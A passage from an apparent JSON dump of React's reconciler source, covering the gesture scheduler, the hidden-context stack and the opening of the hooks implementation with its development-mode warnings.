    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {FiberRoot} from './ReactInternalTypes';\nimport type {GestureOptions} from 'shared/ReactTypes';\nimport type {GestureTimeline, RunningViewTransition} from './ReactFiberConfig';\nimport type {TransitionTypes} from 'react/src/ReactTransitionType';\nimport type {Lane} from './ReactFiberLane';\n\nimport {\n  GestureLane,\n  markRootEntangled,\n  markRootFinished,\n  NoLane,\n  NoLanes,\n} from './ReactFiberLane';\nimport {\n  ensureRootIsScheduled,\n  requestTransitionLane,\n} from './ReactFiberRootScheduler';\nimport {getCurrentGestureOffset, stopViewTransition} from './ReactFiberConfig';\nimport {pingGestureRoot, restartGestureRoot} from './ReactFiberWorkLoop';\n\n// This type keeps track of any scheduled or active gestures.\nexport type ScheduledGesture = {\n  provider: GestureTimeline,\n  count: number, // The number of times this same provider has been started.\n  rangeStart: number, // The percentage along the timeline where the \"current\" state starts.\n  rangeEnd: number, // The percentage along the timeline where the \"destination\" state is reached.\n  types: null | TransitionTypes, // Any addTransitionType call made during startGestureTransition.\n  running: null | RunningViewTransition, // Used to cancel the running transition after we're done.\n  commit: null | (() => void), // Callback to run to commit if there's a pending commit.\n  committing: boolean, // If the gesture was released in a committed state and should actually commit.\n  revertLane: Lane, // The Lane that we'll use to schedule the revert.\n  prev: null | ScheduledGesture, // The previous scheduled gesture in the queue for this root.\n  next: null | ScheduledGesture, // The next scheduled gesture in the queue for this root.\n};\n\nexport function scheduleGesture(\n  root: FiberRoot,\n  provider: GestureTimeline,\n): ScheduledGesture {\n  let prev = root.pendingGestures;\n  while (prev !== null) {\n    if (prev.provider === provider) {\n      // Existing instance found.\n      return prev;\n    }\n    const next = prev.next;\n    if (next === null) {\n      break;\n    }\n    prev = next;\n  }\n  const gesture: ScheduledGesture = {\n    provider: provider,\n    count: 0,\n    rangeStart: 0, // Uninitialized\n    rangeEnd: 100, // Uninitialized\n    types: null,\n    running: null,\n    commit: null,\n    committing: false,\n    revertLane: NoLane, // Starts uninitialized.\n    prev: prev,\n    next: null,\n  };\n  if (prev === null) {\n    root.pendingGestures = gesture;\n  } else {\n    prev.next = gesture;\n  }\n  ensureRootIsScheduled(root);\n  return gesture;\n}\n\nexport function startScheduledGesture(\n  root: FiberRoot,\n  gestureTimeline: GestureTimeline,\n  gestureOptions: ?GestureOptions,\n  transitionTypes: null | TransitionTypes,\n): null | ScheduledGesture {\n  const rangeStart =\n    gestureOptions && gestureOptions.rangeStart != null\n      ? gestureOptions.rangeStart\n      : getCurrentGestureOffset(gestureTimeline);\n  const rangeEnd =\n    gestureOptions && gestureOptions.rangeEnd != null\n      ? gestureOptions.rangeEnd\n      : rangeStart < 50\n        ? 100\n        : 0;\n  let prev = root.pendingGestures;\n  while (prev !== null) {\n    if (prev.provider === gestureTimeline) {\n      // Existing instance found.\n      prev.count++;\n      // Update the options.\n      prev.rangeStart = rangeStart;\n      prev.rangeEnd = rangeEnd;\n      if (transitionTypes !== null) {\n        let scheduledTypes = prev.types;\n        if (scheduledTypes === null) {\n          scheduledTypes = prev.types = [];\n        }\n        for (let i = 0; i < transitionTypes.length; i++) {\n          const transitionType = transitionTypes[i];\n          if (scheduledTypes.indexOf(transitionType) === -1) {\n            scheduledTypes.push(transitionType);\n          }\n        }\n      }\n      return prev;\n    }\n    const next = prev.next;\n    if (next === null) {\n      break;\n    }\n    prev = next;\n  }\n  // No scheduled gestures. It must mean nothing for this renderer updated but\n  // some other renderer might have updated.\n  return null;\n}\n\nexport function cancelScheduledGesture(\n  root: FiberRoot,\n  gesture: ScheduledGesture,\n): void {\n  // Entangle any Transitions started in this event with the revertLane of the gesture\n  // so that we commit them all together.\n  if (gesture.revertLane !== NoLane) {\n    const entangledLanes = gesture.revertLane | requestTransitionLane(null);\n    markRootEntangled(root, entangledLanes);\n  }\n\n  gesture.count--;\n  if (gesture.count === 0) {\n    // If the end state is closer to the end than the beginning then we commit into the\n    // end state before reverting back (or applying a new Transition).\n    // Otherwise we just revert back and don't commit.\n    let shouldCommit: boolean;\n    const finalOffset = getCurrentGestureOffset(gesture.provider);\n    const rangeStart = gesture.rangeStart;\n    const rangeEnd = gesture.rangeEnd;\n    if (rangeStart < rangeEnd) {\n      shouldCommit = finalOffset > rangeStart + (rangeEnd - rangeStart) / 2;\n    } else {\n      shouldCommit = finalOffset < rangeEnd + (rangeStart - rangeEnd) / 2;\n    }\n    // TODO: If we're currently rendering this gesture, we need to restart the render\n    // on a different gesture or cancel the render..\n    // TODO: We might want to pause the View Transition at this point since you should\n    // no longer be able to update the position of anything but it might be better to\n    // just commit the gesture state.\n    const runningTransition = gesture.running;\n    if (runningTransition !== null && shouldCommit) {\n      // If we are going to commit this gesture in its to state, we need to wait to\n      // stop it until it commits. We should now schedule a render at the gesture\n      // lane to actually commit it.\n      gesture.committing = true;\n      if (root.pendingGestures === gesture) {\n        const commitCallback = gesture.commit;\n        if (commitCallback !== null) {\n          gesture.commit = null;\n          // If we already have a commit prepared we can immediately commit the tree\n          // without rerendering.\n          // TODO: Consider scheduling this in a task instead of synchronously inside the last cancellation.s\n          commitCallback();\n        } else {\n          // Ping the root given the new state. This is similar to pingSuspendedRoot.\n          pingGestureRoot(root);\n        }\n      }\n    } else {\n      // If we're not going to commit this gesture we can stop the View Transition\n      // right away and delete the scheduled gesture from the pending queue.\n      if (gesture.prev === null) {\n        if (root.pendingGestures === gesture) {\n          // This was the currently rendering gesture.\n          root.pendingGestures = gesture.next;\n          let remainingLanes = root.pendingLanes;\n          if (root.pendingGestures === null) {\n            // Gestures don't clear their lanes while the gesture is still active but it\n            // might not be scheduled to do any more renders and so we shouldn't schedule\n            // any more gesture lane work until a new gesture is scheduled.\n            remainingLanes &= ~GestureLane;\n          }\n          markRootFinished(\n            root,\n            GestureLane,\n            remainingLanes,\n            NoLane,\n            NoLane,\n            NoLanes,\n          );\n          // If we had a currently rendering gesture we need to now reset the gesture lane to\n          // now render the next gesture or cancel if there's no more gestures in the queue.\n          restartGestureRoot(root);\n        }\n        gesture.running = null;\n        if (runningTransition !== null) {\n          stopViewTransition(runningTransition);\n        }\n      } else {\n        // This was not the current gesture so it doesn't affect the current render.\n        gesture.prev.next = gesture.next;\n        if (gesture.next !== null) {\n          gesture.next.prev = gesture.prev;\n        }\n        gesture.prev = null;\n        gesture.next = null;\n      }\n    }\n  }\n}\n\nexport function stopCommittedGesture(root: FiberRoot) {\n  // The top was just committed. We can delete it from the queue\n  // and stop its View Transition now.\n  const committedGesture = root.pendingGestures;\n  if (committedGesture !== null) {\n    // Mark it as no longer committing and should no longer be included in rerenders.\n    committedGesture.committing = false;\n    const nextGesture = committedGesture.next;\n    if (nextGesture === null) {\n      // Gestures don't clear their lanes while the gesture is still active but it\n      // might not be scheduled to do any more renders and so we shouldn't schedule\n      // any more gesture lane work until a new gesture is scheduled.\n      root.pendingLanes &= ~GestureLane;\n    } else {\n      nextGesture.prev = null;\n    }\n    root.pendingGestures = nextGesture;\n    const runningTransition = committedGesture.running;\n    if (runningTransition !== null) {\n      committedGesture.running = null;\n      stopViewTransition(runningTransition);\n    }\n  }\n}\n\nexport function scheduleGestureCommit(\n  gesture: ScheduledGesture,\n  callback: () => void,\n): () => void {\n  gesture.commit = callback;\n  return function () {\n    gesture.commit = null;\n  };\n}\n"
  },
  {
    "path": "packages/react-reconciler/src/ReactFiberHiddenContext.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {Fiber} from './ReactInternalTypes';\nimport type {StackCursor} from './ReactFiberStack';\nimport type {Lanes} from './ReactFiberLane';\n\nimport {createCursor, push, pop} from './ReactFiberStack';\n\nimport {\n  getEntangledRenderLanes,\n  setEntangledRenderLanes,\n} from './ReactFiberWorkLoop';\nimport {NoLanes, mergeLanes} from './ReactFiberLane';\n\n// TODO: Remove `renderLanes` context in favor of hidden context\ntype HiddenContext = {\n  // Represents the lanes that must be included when processing updates in\n  // order to reveal the hidden content.\n  // TODO: Remove `subtreeLanes` context from work loop in favor of this one.\n  baseLanes: number,\n  ...\n};\n\n// TODO: This isn't being used yet, but it's intended to replace the\n// InvisibleParentContext that is currently managed by SuspenseContext.\nexport const currentTreeHiddenStackCursor: StackCursor<HiddenContext | null> =\n  createCursor(null);\nexport const prevEntangledRenderLanesCursor: StackCursor<Lanes> =\n  createCursor(NoLanes);\n\nexport function pushHiddenContext(fiber: Fiber, context: HiddenContext): void {\n  const prevEntangledRenderLanes = getEntangledRenderLanes();\n  push(prevEntangledRenderLanesCursor, prevEntangledRenderLanes, fiber);\n  push(currentTreeHiddenStackCursor, context, fiber);\n\n  // When rendering a subtree that's currently hidden, we must include all\n  // lanes that would have rendered if the hidden subtree hadn't been deferred.\n  // That is, in order to reveal content from hidden -> visible, we must commit\n  // all the updates that we skipped when we originally hid the tree.\n  setEntangledRenderLanes(\n    mergeLanes(prevEntangledRenderLanes, context.baseLanes),\n  );\n}\n\nexport function reuseHiddenContextOnStack(fiber: Fiber): void {\n  // This subtree is not currently hidden, so we don't need to add any lanes\n  // to the render lanes. But we still need to push something to avoid a\n  // context mismatch. Reuse the existing context on the stack.\n  push(prevEntangledRenderLanesCursor, getEntangledRenderLanes(), fiber);\n  push(\n    currentTreeHiddenStackCursor,\n    currentTreeHiddenStackCursor.current,\n    fiber,\n  );\n}\n\nexport function popHiddenContext(fiber: Fiber): void {\n  // Restore the previous render lanes from the stack\n  setEntangledRenderLanes(prevEntangledRenderLanesCursor.current);\n\n  pop(currentTreeHiddenStackCursor, fiber);\n  pop(prevEntangledRenderLanesCursor, fiber);\n}\n\nexport function isCurrentTreeHidden(): boolean {\n  return currentTreeHiddenStackCursor.current !== null;\n}\n"
  },
  {
    "path": "packages/react-reconciler/src/ReactFiberHooks.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {\n  ReactContext,\n  StartTransitionOptions,\n  Usable,\n  Thenable,\n  RejectedThenable,\n  Awaited,\n} from 'shared/ReactTypes';\nimport type {\n  Fiber,\n  FiberRoot,\n  Dispatcher,\n  HookType,\n  MemoCache,\n} from './ReactInternalTypes';\nimport type {Lanes, Lane} from './ReactFiberLane';\nimport type {HookFlags} from './ReactHookEffectTags';\nimport type {Flags} from './ReactFiberFlags';\nimport type {TransitionStatus} from './ReactFiberConfig';\nimport type {ScheduledGesture} from './ReactFiberGestureScheduler';\n\nimport {\n  HostTransitionContext,\n  NotPendingTransition as NoPendingHostTransition,\n  setCurrentUpdatePriority,\n  getCurrentUpdatePriority,\n} from './ReactFiberConfig';\nimport ReactSharedInternals from 'shared/ReactSharedInternals';\nimport {\n  enableSchedulingProfiler,\n  enableTransitionTracing,\n  enableLegacyCache,\n  disableLegacyMode,\n  enableNoCloningMemoCache,\n  enableViewTransition,\n  enableGestureTransition,\n} from 'shared/ReactFeatureFlags';\nimport {\n  REACT_CONTEXT_TYPE,\n  REACT_MEMO_CACHE_SENTINEL,\n} from 'shared/ReactSymbols';\n\nimport {\n  NoMode,\n  ConcurrentMode,\n  StrictEffectsMode,\n  StrictLegacyMode,\n} from './ReactTypeOfMode';\nimport {\n  NoLane,\n  SyncLane,\n  OffscreenLane,\n  DeferredLane,\n  NoLanes,\n  isSubsetOfLanes,\n  includesBlockingLane,\n  includesOnlyNonUrgentLanes,\n  mergeLanes,\n  removeLanes,\n  intersectLanes,\n  isTransitionLane,\n  markRootEntangled,\n  includesSomeLane,\n  isGestureRender,\n  GestureLane,\n  UpdateLanes,\n} from './ReactFiberLane';\nimport {\n  ContinuousEventPriority,\n  higherEventPriority,\n} from './ReactEventPriorities';\nimport {readContext, checkIfContextChanged} from './ReactFiberNewContext';\nimport {HostRoot, CacheComponent, HostComponent} from './ReactWorkTags';\nimport {\n  LayoutStatic as LayoutStaticEffect,\n  Passive as PassiveEffect,\n  PassiveStatic as PassiveStaticEffect,\n  StaticMask as StaticMaskEffect,\n  Update as UpdateEffect,\n  StoreConsistency,\n  MountLayoutDev as MountLayoutDevEffect,\n  MountPassiveDev as MountPassiveDevEffect,\n  FormReset,\n} from './ReactFiberFlags';\nimport {\n  HasEffect as HookHasEffect,\n  Layout as HookLayout,\n  Passive as HookPassive,\n  Insertion as HookInsertion,\n} from './ReactHookEffectTags';\nimport {\n  getWorkInProgressRoot,\n  getWorkInProgressRootRenderLanes,\n  scheduleUpdateOnFiber,\n  requestUpdateLane,\n  requestDeferredLane,\n  markSkippedUpdateLanes,\n  isInvalidExecutionContextForEventFunction,\n} from './ReactFiberWorkLoop';\n\nimport getComponentNameFromFiber from 'react-reconciler/src/getComponentNameFromFiber';\nimport is from 'shared/objectIs';\nimport isArray from 'shared/isArray';\nimport {\n  markWorkInProgressReceivedUpdate,\n  checkIfWorkInProgressReceivedUpdate,\n} from './ReactFiberBeginWork';\nimport {\n  getIsHydrating,\n  tryToClaimNextHydratableFormMarkerInstance,\n} from './ReactFiberHydrationContext';\nimport {\n  markStateUpdateScheduled,\n  setIsStrictModeForDevtools,\n} from './ReactFiberDevToolsHook';\nimport {\n  startUpdateTimerByLane,\n  startHostActionTimer,\n} from './ReactProfilerTimer';\nimport {createCache} from './ReactFiberCacheComponent';\nimport {\n  createUpdate as createLegacyQueueUpdate,\n  enqueueUpdate as enqueueLegacyQueueUpdate,\n  entangleTransitions as entangleLegacyQueueTransitions,\n} from './ReactFiberClassUpdateQueue';\nimport {\n  enqueueConcurrentHookUpdate,\n  enqueueConcurrentHookUpdateAndEagerlyBailout,\n  enqueueConcurrentRenderForLane,\n} from './ReactFiberConcurrentUpdates';\nimport {getTreeId} from './ReactFiberTreeContext';\nimport {now} from './Scheduler';\nimport {\n  trackUsedThenable,\n  checkIfUseWrappedInTryCatch,\n  createThenableState,\n  SuspenseException,\n  SuspenseActionException,\n} from './ReactFiberThenable';\nimport type {ThenableState} from './ReactFiberThenable';\nimport type {Transition} from 'react/src/ReactStartTransition';\nimport {\n  peekEntangledActionLane,\n  peekEntangledActionThenable,\n  chainThenableValue,\n} from './ReactFiberAsyncAction';\nimport {requestTransitionLane} from './ReactFiberRootScheduler';\nimport {isCurrentTreeHidden} from './ReactFiberHiddenContext';\nimport {requestCurrentTransition} from './ReactFiberTransition';\n\nimport {callComponentInDEV} from './ReactFiberCallUserSpace';\n\nimport {scheduleGesture} from './ReactFiberGestureScheduler';\n\nexport type Update<S, A> = {\n  lane: Lane,\n  revertLane: Lane,\n  action: A,\n  hasEagerState: boolean,\n  eagerState: S | null,\n  next: Update<S, A>,\n  gesture: null | ScheduledGesture, // enableGestureTransition\n};\n\nexport type UpdateQueue<S, A> = {\n  pending: Update<S, A> | null,\n  lanes: Lanes,\n  dispatch: (A => mixed) | null,\n  lastRenderedReducer: ((S, A) => S) | null,\n  lastRenderedState: S | null,\n};\n\nlet didWarnAboutMismatchedHooksForComponent;\nlet didWarnUncachedGetSnapshot: void | true;\nlet didWarnAboutUseWrappedInTryCatch;\nlet didWarnAboutAsyncClientComponent;\nlet didWarnAboutUseFormState;\nif (__DEV__) {\n  didWarnAboutMismatchedHooksForComponent = new Set<string | null>();\n  didWarnAboutUseWrappedInTryCatch = new Set<string | null>();\n  didWarnAboutAsyncClientComponent = new Set<string | null>();\n  didWarnAboutUseFormState = new Set<string | null>();\n}\n\nexport type Hook = {\n  memoizedState: any,\n  baseState: any,\n  baseQueue: Update<any, any> | null,\n  queue: any,\n  next: Hook | null,\n};\n\n// The effect \"instance\" is a shared object that remains the same for the entire\n// lifetime of an effect. In Rust terms, a RefCell. We use it to store the\n// \"destroy\" function that is returned from an effect, because that is stateful.\n// The field is `undefined` if the effect is unmounted, or if the effect ran\n// but is not stateful. We don't explicitly track whether the effect is mounted\n// or unmounted because that can be inferred by the hiddenness of the fiber in\n// the tree, i.e. whether there is a hidden Offscreen fiber above it.\n//\n// It's unfortunate that this is stored on a separate object, because it adds\n// more memory per effect instance, but it's conceptually sound. I think there's\n// likely a better data structure we could use for effects; perhaps just one\n// array of effect instances per fiber. But I think this is OK for now despite\n// the additional memory and we can follow up with performance\n// optimizations later.\ntype EffectInstance = {\n  destroy: void | (() => void),\n};\n\nexport type Effect = {\n  tag: HookFlags,\n  inst: EffectInstance,\n  create: () => (() => void) | void,\n  deps: Array<mixed> | void | null,\n  next: Effect,\n};\n\ntype StoreInstance<T> = {\n  value: T,\n  getSnapshot: () => T,\n};\n\ntype StoreConsistencyCheck<T> = {\n  value: T,\n  getSnapshot: () => T,\n};\n\ntype EventFunctionPayload<Args, Return, F: (...Array<Args>) => Return> = {\n  ref: {\n    eventFn: F,\n    impl: F,\n  },\n  nextImpl: F,\n};\n\nexport type FunctionComponentUpdateQueue = {\n  lastEffect: Effect | null,\n  events: Array<EventFunctionPayload<any, any, any>> | null,\n  stores: Array<StoreConsistencyCheck<any>> | null,\n  memoCache: MemoCache | null,\n};\n\ntype BasicStateAction<S> = (S => S) | S;\n\ntype Dispatch<A> = A => void;\n\n// These are set right before calling the component.\nlet renderLanes: Lanes = NoLanes;\n// The work-in-progress fiber. I've named it differently to distinguish it from\n// the work-in-progress hook.\nlet currentlyRenderingFiber: Fiber = (null: any);\n\n// Hooks are stored as a linked list on the fiber's memoizedState field. The\n// current hook list is the list that belongs to the current fiber. The\n// work-in-progress hook list is a new list that will be added to the\n// work-in-progress fiber.\nlet currentHook: Hook | null = null;\nlet workInProgressHook: Hook | null = null;\n\n// Whether an update was scheduled at any point during the render phase. This\n// does not get reset if we do another render pass; only when we're completely\n// finished evaluating this component. This is an optimization so we know\n// whether we need to clear render phase updates after a throw.\nlet didScheduleRenderPhaseUpdate: boolean = false;\n// Where an update was scheduled only during the current render pass. This\n// gets reset after each attempt.\n// TODO: Maybe there's some way to consolidate this with\n// `didScheduleRenderPhaseUpdate`. Or with `numberOfReRenders`.\nlet didScheduleRenderPhaseUpdateDuringThisPass: boolean = false;\nlet shouldDoubleInvokeUserFnsInHooksDEV: boolean = false;\n// Counts the number of useId hooks in this component.\nlet localIdCounter: number = 0;\n// Counts number of `use`-d thenables\nlet thenableIndexCounter: number = 0;\nlet thenableState: ThenableState | null = null;\n\n// Used for ids that are generated completely client-side (i.e. not during\n// hydration). This counter is global, so client ids are not stable across\n// render attempts.\nlet globalClientIdCounter: number = 0;\n\nconst RE_RENDER_LIMIT = 25;\n\n// In DEV, this is the name of the currently executing primitive hook\nlet currentHookNameInDev: ?HookType = null;\n\n// In DEV, this list ensures that hooks are called in the same order between renders.\n// The list stores the order of hooks used during the initial render (mount).\n// Subsequent renders (updates) reference this list.\nlet hookTypesDev: Array<HookType> | null = null;\nlet hookTypesUpdateIndexDev: number = -1;\n\n// In DEV, this tracks whether currently rendering component needs to ignore\n// the dependencies for Hooks that need them (e.g. useEffect or useMemo).\n// When true, such Hooks will always be \"remounted\". Only used during hot reload.\nlet ignorePreviousDependencies: boolean = false;\n\nfunction mountHookTypesDev(): void {\n  if (__DEV__) {\n    const hookName = ((currentHookNameInDev: any): HookType);\n\n    if (hookTypesDev === null) {\n      hookTypesDev = [hookName];\n    } else {\n      hookTypesDev.push(hookName);\n    }\n  }\n}\n\nfunction updateHookTypesDev(): void {\n  if (__DEV__) {\n    const hookName = ((currentHookNameInDev: any): HookType);\n\n    if (hookTypesDev !== null) {\n      hookTypesUpdateIndexDev++;\n      if (hookTypesDev[hookTypesUpdateIndexDev] !== hookName) {\n        warnOnHookMismatchInDev(hookName);\n      }\n    }\n  }\n}\n\nfunction checkDepsAreArrayDev(deps: mixed): void {\n  if (__DEV__) {\n    if (deps !== undefined && deps !== null && !isArray(deps)) {\n      // Verify deps, but only on mount to avoid extra checks.\n      // It's unlikely their type would change as usually you define them inline.\n      console.error(\n        '%s received a final argument that is not an array (instead, received `%s`). When ' +\n          'specified, the final argument must be an array.',\n        currentHookNameInDev,\n        typeof deps,\n      );\n    }\n  }\n}\n\nfunction warnOnHookMismatchInDev(currentHookName: HookType): void {\n  if (__DEV__) {\n    const componentName = getComponentNameFromFiber(currentlyRenderingFiber);\n    if (!didWarnAboutMismatchedHooksForComponent.has(componentName)) {\n      didWarnAboutMismatchedHooksForComponent.add(componentName);\n\n      if (hookTypesDev !== null) {\n        let table = '';\n\n        const secondColumnStart = 30;\n\n        for (let i = 0; i <= ((hookTypesUpdateIndexDev: any): number); i++) {\n          const oldHookName = hookTypesDev[i];\n          const newHookName =\n            i === ((hookTypesUpdateIndexDev: any): number)\n              ? currentHookName\n              : oldHookName;\n\n          let row = `${i + 1}. ${oldHookName}`;\n\n          // Extra space so second column lines up\n          // lol @ IE not supporting String#repeat\n          while (row.length < secondColumnStart) {\n            row += ' ';\n          }\n\n          row += newHookName + '\\n';\n\n          table += row;\n        }\n\n        console.error(\n          'React has detected a change in the order of Hooks called by %s. ' +\n            'This will lead to bugs and errors if not fixed. ' +\n            'For more information, read the Rules of Hooks: https://react.dev/link/rules-of-hooks\\n\\n' +\n            '   Previous render            Next render\\n' +\n            '   ------------------------------------------------------\\n' +\n            '%s' +\n            '   ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\\n',\n          componentName,\n          table,\n        );\n      }\n    }\n  }\n}\n\nfunction warnOnUseFormStateInDev(): void {\n  if (__DEV__) {\n    const componentName = getComponentNameFromFiber(currentlyRenderingFiber);\n    if (!didWarnAboutUseFormState.has(componentName)) {\n      didWarnAboutUseFormState.add(componentName);\n\n      console.error(\n        'ReactDOM.useFormState has been renamed to React.useActionState. ' +\n          'Please update %s to use React.useActionState.',\n        componentName,\n      );\n    }\n  }\n}\n\nfunction warnIfAsyncClientComponent(Component: Function) {\n  if (__DEV__) {\n    // This dev-only check only works for detecting native async functions,\n    // not transpiled ones. There's also a prod check that we use to prevent\n    // async client components from crashing the app; the prod one works even\n    // for transpiled async functions. Neither mechanism is completely\n    // bulletproof but together they cover the most common cases.\n    const isAsyncFunction =\n      // $FlowIgnore[method-unbinding]\n      Object.prototype.toString.call(Component) === '[object AsyncFunction]' ||\n      // $FlowIgnore[method-unbinding]\n      Object.prototype.toString.call(Component) ===\n        '[object AsyncGeneratorFunction]';\n    if (isAsyncFunction) {\n      // Encountered an async Client Component. This is not yet supported.\n      const componentName = getComponentNameFromFiber(currentlyRenderingFiber);\n      if (!didWarnAboutAsyncClientComponent.has(componentName)) {\n        didWarnAboutAsyncClientComponent.add(componentName);\n        console.error(\n          '%s is an async Client Component. ' +\n            'Only Server Components can be async at the moment. This error is often caused by accidentally ' +\n            \"adding `'use client'` to a module that was originally written \" +\n            'for the server.',\n          componentName === null\n            ? 'An unknown Component'\n            : `<${componentName}>`,\n        );\n      }\n    }\n  }\n}\n\nfunction throwInvalidHookError() {\n  throw new Error(\n    'Invalid hook call. Hooks can only be called inside of the body of a function component. This could happen for' +\n      ' one of the following reasons:\\n' +\n      '1. You might have mismatching versions of React and the renderer (such as React DOM)\\n' +\n      '2. You might be breaking the Rules of Hooks\\n' +\n      '3. You might have more than one copy of React in the same app\\n' +\n      'See https://react.dev/link/invalid-hook-call for tips about how to debug and fix this problem.',\n  );\n}\n\nfunction areHookInputsEqual(\n  nextDeps: Array<mixed>,\n  prevDeps: Array<mixed> | null,\n): boolean {\n  if (__DEV__) {\n    if (ignorePreviousDependencies) {\n      // Only true when this component is being hot reloaded.\n      return false;\n    }\n  }\n\n  if (prevDeps === null) {\n    if (__DEV__) {\n      console.error(\n        '%s received a final argument during this render, but not during ' +\n          'the previous render. Even though the final argument is optional, ' +\n          'its type cannot change between renders.',\n        currentHookNameInDev,\n      );\n    }\n    return false;\n  }\n\n  if (__DEV__) {\n    // Don't bother comparing lengths in prod because these arrays should be\n    // passed inline.\n    if (nextDeps.length !== prevDeps.length) {\n      console.error(\n        'The final argument passed to %s changed size between renders. The ' +\n          'order and size of this array must remain constant.\\n\\n' +\n          'Previous: %s\\n' +\n          'Incoming: %s',\n        currentHookNameInDev,\n        `[${prevDeps.join(', ')}]`,\n        `[${nextDeps.join(', ')}]`,\n      );\n    }\n  }\n  // $FlowFixMe[incompatible-use] found when upgrading Flow\n  for (let i = 0; i < prevDeps.length && i < nextDeps.length; i++) {\n    // $FlowFixMe[incompatible-use] found when upgrading Flow\n    if (is(nextDeps[i], prevDeps[i])) {\n      continue;\n    }\n    return false;\n  }\n  return true;\n}\n\nexport function renderWithHooks<Props, SecondArg>(\n  current: Fiber | null,\n  workInProgress: Fiber,\n  Component: (p: Props, arg: SecondArg) => any,\n  props: Props,\n  secondArg: SecondArg,\n  nextRenderLanes: Lanes,\n): any {\n  renderLanes = nextRenderLanes;\n  currentlyRenderingFiber = workInProgress;\n\n  if (__DEV__) {\n    hookTypesDev =\n      current !== null\n        ? ((current._debugHookTypes: any): Array<HookType>)\n        : null;\n    hookTypesUpdateIndexDev = -1;\n    // Used for hot reloading:\n    ignorePreviousDependencies =\n      current !== null && current.type !== workInProgress.type;\n\n    warnIfAsyncClientComponent(Component);\n  }\n\n  workInProgress.memoizedState = null;\n  workInProgress.updateQueue = null;\n  workInProgress.lanes = NoLanes;\n\n  // The following should have already been reset\n  // currentHook = null;\n  // workInProgressHook = null;\n\n  // didScheduleRenderPhaseUpdate = false;\n  // localIdCounter = 0;\n  // thenableIndexCounter = 0;\n  // thenableState = null;\n\n  // TODO Warn if no hooks are used at all during mount, then some are used during update.\n  // Currently we will identify the update render as a mount because memoizedState === null.\n  // This is tricky because it's valid for certain types of components (e.g. React.lazy)\n\n  // Using memoizedState to differentiate between mount/update only works if at least one stateful hook is used.\n  // Non-stateful hooks (e.g. context) don't get added to memoizedState,\n  // so memoizedState would be null during updates and mounts.\n  if (__DEV__) {\n    if (current !== null && current.memoizedState !== null) {\n      ReactSharedInternals.H = HooksDispatcherOnUpdateInDEV;\n    } else if (hookTypesDev !== null) {\n      // This dispatcher handles an edge case where a component is updating,\n      // but no stateful hooks have been used.\n      // We want to match the production code behavior (which will use HooksDispatcherOnMount),\n      // but with the extra DEV validation to ensure hooks ordering hasn't changed.\n      // This dispatcher does that.\n      ReactSharedInternals.H = HooksDispatcherOnMountWithHookTypesInDEV;\n    } else {\n      ReactSharedInternals.H = HooksDispatcherOnMountInDEV;\n    }\n  } else {\n    ReactSharedInternals.H =\n      current === null || current.memoizedState === null\n        ? HooksDispatcherOnMount\n        : HooksDispatcherOnUpdate;\n  }\n\n  // In Strict Mode, during development, user functions are double invoked to\n  // help detect side effects. The logic for how this is implemented for in\n  // hook components is a bit complex so let's break it down.\n  //\n  // We will invoke the entire component function twice. However, during the\n  // second invocation of the component, the hook state from the first\n  // invocation will be reused. That means things like `useMemo` functions won't\n  // run again, because the deps will match and the memoized result will\n  // be reused.\n  //\n  // We want memoized functions to run twice, too, so account for this, user\n  // functions are double invoked during the *first* invocation of the component\n  // function, and are *not* double invoked during the second incovation:\n  //\n  // - First execution of component function: user functions are double invoked\n  // - Second execution of component function (in Strict Mode, during\n  //   development): user functions are not double invoked.\n  //\n  // This is intentional for a few reasons; most importantly, it's because of\n  // how `use` works when something suspends: it reuses the promise that was\n  // passed during the first attempt. This is itself a form of memoization.\n  // We need to be able to memoize the reactive inputs to the `use` call using\n  // a hook (i.e. `useMemo`), which means, the reactive inputs to `use` must\n  // come from the same component invocation as the output.\n  //\n  // There are plenty of tests to ensure this behavior is correct.\n  const shouldDoubleRenderDEV =\n    __DEV__ && (workInProgress.mode & StrictLegacyMode) !== NoMode;\n\n  shouldDoubleInvokeUserFnsInHooksDEV = shouldDoubleRenderDEV;\n  let children = __DEV__\n    ? callComponentInDEV(Component, props, secondArg)\n    : Component(props, secondArg);\n  shouldDoubleInvokeUserFnsInHooksDEV = false;\n\n  // Check if there was a render phase update\n  if (didScheduleRenderPhaseUpdateDuringThisPass) {\n    // Keep rendering until the component stabilizes (there are no more render\n    // phase updates).\n    children = renderWithHooksAgain(\n      workInProgress,\n      Component,\n      props,\n      secondArg,\n    );\n  }\n\n  if (shouldDoubleRenderDEV) {\n    // In development, components are invoked twice to help detect side effects.\n    setIsStrictModeForDevtools(true);\n    try {\n      children = renderWithHooksAgain(\n        workInProgress,\n        Component,\n        props,\n        secondArg,\n      );\n    } finally {\n      setIsStrictModeForDevtools(false);\n    }\n  }\n\n  finishRenderingHooks(current, workInProgress, Component);\n\n  return children;\n}\n\nfunction finishRenderingHooks<Props, SecondArg>(\n  current: Fiber | null,\n  workInProgress: Fiber,\n  Component: (p: Props, arg: SecondArg) => any,\n): void {\n  if (__DEV__) {\n    workInProgress._debugHookTypes = hookTypesDev;\n    // Stash the thenable state for use by DevTools.\n    if (workInProgress.dependencies === null) {\n      if (thenableState !== null) {\n        workInProgress.dependencies = {\n          lanes: NoLanes,\n          firstContext: null,\n          _debugThenableState: thenableState,\n        };\n      }\n    } else {\n      workInProgress.dependencies._debugThenableState = thenableState;\n    }\n  }\n\n  // We can assume the previous dispatcher is always this one, since we set it\n  // at the beginning of the render phase and there's no re-entrance.\n  ReactSharedInternals.H = ContextOnlyDispatcher;\n\n  // This check uses currentHook so that it works the same in DEV and prod bundles.\n  // hookTypesDev could catch more cases (e.g. context) but only in DEV bundles.\n  const didRenderTooFewHooks =\n    currentHook !== null && currentHook.next !== null;\n\n  renderLanes = NoLanes;\n  currentlyRenderingFiber = (null: any);\n\n  currentHook = null;\n  workInProgressHook = null;\n\n  if (__DEV__) {\n    currentHookNameInDev = null;\n    hookTypesDev = null;\n    hookTypesUpdateIndexDev = -1;\n\n    // Confirm that a static flag was not added or removed since the 